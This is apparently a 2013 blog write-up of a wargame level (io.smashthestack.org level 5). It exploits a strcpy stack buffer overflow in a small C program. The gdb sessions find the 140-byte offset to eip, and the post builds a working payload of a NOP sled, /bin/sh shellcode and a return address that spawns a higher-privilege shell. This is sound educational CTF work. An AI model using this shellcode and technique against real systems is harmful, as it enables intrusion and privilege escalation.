By now you should be somewhat familiar with the workings of io.smashthestack.org
. We’ll just take a look at the essentials from now on.
#include <stdio.h>
#include <string.h>
int main(int argc, char **argv) {
char buf[128];
if(argc < 2) return 1;
strcpy(buf, argv[1]);
printf("%s\n", buf);
return 0;
}
A quick outline of the program. It creates a variable buf[128]
. Checks the argument count is at least 2. strcpy
the 2nd argument into the buffer. Prints the contents of the buffer and exits.
It looks like it’s a buffer overflow challenge. Let’s get started. First, we have to find the memory location of the return address that we are overwriting.
level5@io:/levels$ gdb -q level05
Reading symbols from /levels/level05...done.
(gdb) disas main
Dump of assembler code for function main:
0x080483b4 <+0>: push %ebp
0x080483b5 <+1>: mov %esp,%ebp
0x080483b7 <+3>: sub $0xa8,%esp
0x080483bd <+9>: and $0xfffffff0,%esp
0x080483c0 <+12>: mov $0x0,%eax
0x080483c5 <+17>: sub %eax,%esp
0x080483c7 <+19>: cmpl $0x1,0x8(%ebp)
0x080483cb <+23>: jg 0x80483d9 <main+37>
0x080483cd <+25>: movl $0x1,-0x8c(%ebp)
0x080483d7 <+35>: jmp 0x8048413 <main+95>
0x080483d9 <+37>: mov 0xc(%ebp),%eax
0x080483dc <+40>: add $0x4,%eax
0x080483df <+43>: mov (%eax),%eax
0x080483e1 <+45>: mov %eax,0x4(%esp)
0x080483e5 <+49>: lea -0x88(%ebp),%eax
0x080483eb <+55>: mov %eax,(%esp)
0x080483ee <+58>: call 0x80482d4 <strcpy@plt>
0x080483f3 <+63>: lea -0x88(%ebp),%eax
0x080483f9 <+69>: mov %eax,0x4(%esp)
0x080483fd <+73>: movl $0x8048524,(%esp)
0x08048404 <+80>: call 0x80482b4 <printf@plt>
0x08048409 <+85>: movl $0x0,-0x8c(%ebp)
0x08048413 <+95>: mov -0x8c(%ebp),%eax
0x08048419 <+101>: leave
0x0804841a <+102>: ret
End of assembler dump.
(gdb) b *0x080483f3
Breakpoint 1 at 0x80483f3
(gdb) r $(ruby -e 'puts "A"*100')
Starting program: /levels/level05 $(ruby -e 'puts "A"*100')
Breakpoint 1, 0x080483f3 in main ()
(gdb) x/64wx $esp
0xbffffbd0: 0xbffffbf0 0xbffffe36 0xb7ffeff4 0xbffffcd0
0xbffffbe0: 0xb7fffac0 0xbffffca4 0xb7feb662 0xbffffc94
0xbffffbf0: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffffc00: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffffc10: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffffc20: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffffc30: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffffc40: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffffc50: 0x41414141 0xb7fd1f00 0xbffffc78 0x08048489
0xbffffc60: 0xb7eb7505 0xb7ff0590 0x00000000 0xb7fd1ff4
0xbffffc70: 0x08048470 0x00000000 0xbffffcf8 0xb7e9ee16
0xbffffc80: 0x00000002 0xbffffd24 0xbffffd30 0xb7fe19d0
0xbffffc90: 0xb7ff6821 0x0177ff8e 0xb7ffeff4 0x0804820b
0xbffffca0: 0x00000001 0xbffffce0 0xb7fefc16 0xb7fffac0
0xbffffcb0: 0xb7fe1cc0 0xb7fd1ff4 0x00000000 0x00000000
0xbffffcc0: 0xbffffcf8 0x841c88d6 0xa83e3ec6 0x00000000
(gdb) next
Single stepping until exit from function main,
which has no line number information.
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
0xb7e9ee16 in __libc_start_main () from /lib/i386-linux-gnu/libc.so.6
(gdb) r $(ruby -e 'puts "A"*140 + "B"*4')
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /levels/level05 $(ruby -e 'puts "A"*140 + "B"*4')
Breakpoint 1, 0x080483f3 in main ()
(gdb) x/64wx $esp
0xbffffba0: 0xbffffbc0 0xbffffe0a 0xb7ffeff4 0xbffffca0
0xbffffbb0: 0xb7fffac0 0xbffffc74 0xb7feb662 0xbffffc64
0xbffffbc0: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffffbd0: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffffbe0: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffffbf0: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffffc00: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffffc10: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffffc20: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffffc30: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffffc40: 0x41414141 0x41414141 0x41414141 0x42424242
0xbffffc50: 0x00000000 0xbffffcf4 0xbffffd00 0xb7fe19d0
0xbffffc60: 0xb7ff6821 0x0177ff8e 0xb7ffeff4 0x0804820b
0xbffffc70: 0x00000001 0xbffffcb0 0xb7fefc16 0xb7fffac0
0xbffffc80: 0xb7fe1cc0 0xb7fd1ff4 0x00000000 0x00000000
0xbffffc90: 0xbffffcc8 0x2a79b3d6 0x065aa5c6 0x00000000
(gdb) next
Single stepping until exit from function main,
which has no line number information.
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB
0x42424242 in ?? ()
(gdb) info reg
eax 0x0 0
ecx 0xbffffb88 -1073742968
edx 0xb7fd3340 -1208143040
ebx 0xb7fd1ff4 -1208147980
esp 0xbffffc50 0xbffffc50
ebp 0x41414141 0x41414141
esi 0x0 0
edi 0x0 0
eip 0x42424242 0x42424242
eflags 0x292 [ AF SF IF ]
cs 0x23 35
ss 0x2b 43
ds 0x2b 43
es 0x2b 43
fs 0x0 0
gs 0x63 99
After a bit of investigation, we managed to overwrite the eip
with our crafted argument. With this knowledge, we know we have about 140 bytes worth of space to fit our shellcode.
If you are not sure what is happening, please read this obligatory article on stack smashing.
The shellcode that we are using is
\xeb\x18\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xb0\x0b\xcd\x80\xe8\xe3\xff\xff\xff/bin/sh
Let’s craft our argument with this shellcode and a NOP sled. As this shell code is 38 bytes long, we have space for a 102 byte NOP sled. Here’s what it will look like.
$(ruby -e 'puts "\x90"*102 + "\xeb\x18\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xb0\x0b\xcd\x80\xe8\xe3\xff\xff\xff/bin/sh" + "BBBB"')
Let’s make sure this works.
(gdb) r $(ruby -e 'puts "\x90"*102 + "\xeb\x18\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xb0\x0b\xcd\x80\xe8\xe3\xff\xff\xff/bin/sh" + "BBBB"')
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /levels/level05 $(ruby -e 'puts "\x90"*102 + "\xeb\x18\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xb0\x0b\xcd\x80\xe8\xe3\xff\xff\xff/bin/sh" + "BBBB"')
Breakpoint 1, 0x080483f3 in main ()
(gdb) x/64wx $esp
0xbffffba0: 0xbffffbc0 0xbffffe0a 0xb7ffeff4 0xbffffca0
0xbffffbb0: 0xb7fffac0 0xbffffc74 0xb7feb662 0xbffffc64
0xbffffbc0: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffffbd0: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffffbe0: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffffbf0: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffffc00: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffffc10: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffffc20: 0x90909090 0x18eb9090 0x0876895e 0x4688c031
0xbffffc30: 0x0c468907 0x4e8df389 0x0c568d08 0x80cd0bb0
0xbffffc40: 0xffffe3e8 0x69622fff 0x68732f6e 0x42424242
0xbffffc50: 0x00000000 0xbffffcf4 0xbffffd00 0xb7fe19d0
0xbffffc60: 0xb7ff6821 0x0177ff8e 0xb7ffeff4 0x0804820b
0xbffffc70: 0x00000001 0xbffffcb0 0xb7fefc16 0xb7fffac0
0xbffffc80: 0xb7fe1cc0 0xb7fd1ff4 0x00000000 0x00000000
0xbffffc90: 0xbffffcc8 0x9d7c716c 0xb15f677c 0x00000000
(gdb) next
Single stepping until exit from function main,
which has no line number information.
ë^1ÀFF
óV
°
̀èãÿÿÿ/bin/shBBBB
0x42424242 in ?? ()
(gdb) info reg
eax 0x0 0
ecx 0xbffffb88 -1073742968
edx 0xb7fd3340 -1208143040
ebx 0xb7fd1ff4 -1208147980
esp 0xbffffc50 0xbffffc50
ebp 0x68732f6e 0x68732f6e
esi 0x0 0
edi 0x0 0
eip 0x42424242 0x42424242
eflags 0x292 [ AF SF IF ]
cs 0x23 35
ss 0x2b 43
ds 0x2b 43
es 0x2b 43
fs 0x0 0
gs 0x63 99
(gdb)
Alright it works, all we have to do is to overwite the last 4 bytes to the location of any of the NOPs. As we can see above, we can choose any address between 0xbffffbc0
to 0xbffffc10
. Let’s choose 0xbffffbf8
. After converting it to little endian, we have \xf8\xfb\xff\xbf
. This is how our exploit looks like after replacing our 4 B characters with the address.
$(ruby -e 'puts "\x90"*102+"\xeb\x18\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xb0\x0b\xcd\x80\xe8\xe3\xff\xff\xff/bin/sh"+"\xf8\xfb\xff\xbf"')
Let’s try it out.
(gdb) r $(ruby -e 'puts "\x90"*102+"\xeb\x18\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xb0\x0b\xcd\x80\xe8\xe3\xff\xff\xff/bin/sh"+"\xf8\xfb\xff\xbf"')
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /levels/level05 $(ruby -e 'puts "\x90"*102+"\xeb\x18\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xb0\x0b\xcd\x80\xe8\xe3\xff\xff\xff/bin/sh"+"\xf8\xfb\xff\xbf"')
Breakpoint 1, 0x080483f3 in main ()
(gdb) x/64wx $esp
0xbffffba0: 0xbffffbc0 0xbffffe0a 0xb7ffeff4 0xbffffca0
0xbffffbb0: 0xb7fffac0 0xbffffc74 0xb7feb662 0xbffffc64
0xbffffbc0: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffffbd0: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffffbe0: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffffbf0: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffffc00: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffffc10: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffffc20: 0x90909090 0x18eb9090 0x0876895e 0x4688c031
0xbffffc30: 0x0c468907 0x4e8df389 0x0c568d08 0x80cd0bb0
0xbffffc40: 0xffffe3e8 0x69622fff 0x68732f6e 0xbffffbf8
0xbffffc50: 0x00000000 0xbffffcf4 0xbffffd00 0xb7fe19d0
0xbffffc60: 0xb7ff6821 0x0177ff8e 0xb7ffeff4 0x0804820b
0xbffffc70: 0x00000001 0xbffffcb0 0xb7fefc16 0xb7fffac0
0xbffffc80: 0xb7fe1cc0 0xb7fd1ff4 0x00000000 0x00000000
0xbffffc90: 0xbffffcc8 0xe25fc283 0xce7cd493 0x00000000
(gdb) next
Single stepping until exit from function main,
which has no line number information.
ë^1ÀFF
óV
°
̀èãÿÿÿ/bin/shøûÿ¿
Cannot access memory at address 0x68732f72
(gdb) info reg
eax 0x0 0
ecx 0xbffffb88 -1073742968
edx 0xb7fd3340 -1208143040
ebx 0xb7fd1ff4 -1208147980
esp 0xbffffc50 0xbffffc50
ebp 0x68732f6e 0x68732f6e
esi 0x0 0
edi 0x0 0
eip 0xbffffbf8 0xbffffbf8
eflags 0x292 [ AF SF IF ]
cs 0x23 35
ss 0x2b 43
ds 0x2b 43
es 0x2b 43
fs 0x0 0
gs 0x63 99
(gdb)
We successfully overwriten eip
with our address. But somehow it did not successfully jump to that location within gdb
. I’m not sure about the intricacies of gdb
and why the exploit did not work. But when we try it out of gdb
…
level5@io:/levels$ ./level05 $(ruby -e 'puts "\x90"*102+"\xeb\x18\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xb0\x0b\xcd\x80\xe8\xe3\xff\xff\xff/bin/sh"+"\xf8\xfb\xff\xbf"')
ë^1ÀFF
óV
°
̀èãÿÿÿ/bin/shøûÿ¿
sh-4.2$ whoami
level6
sh-4.2$
Success! Unlike level 3, this is a true buffer overflow. We inserted arbitary code into the buffer and executed it.
PS: Would anyone be able to explain why it did not work in gdb
?
Published on 14 Apr 2013 by Stanley Tan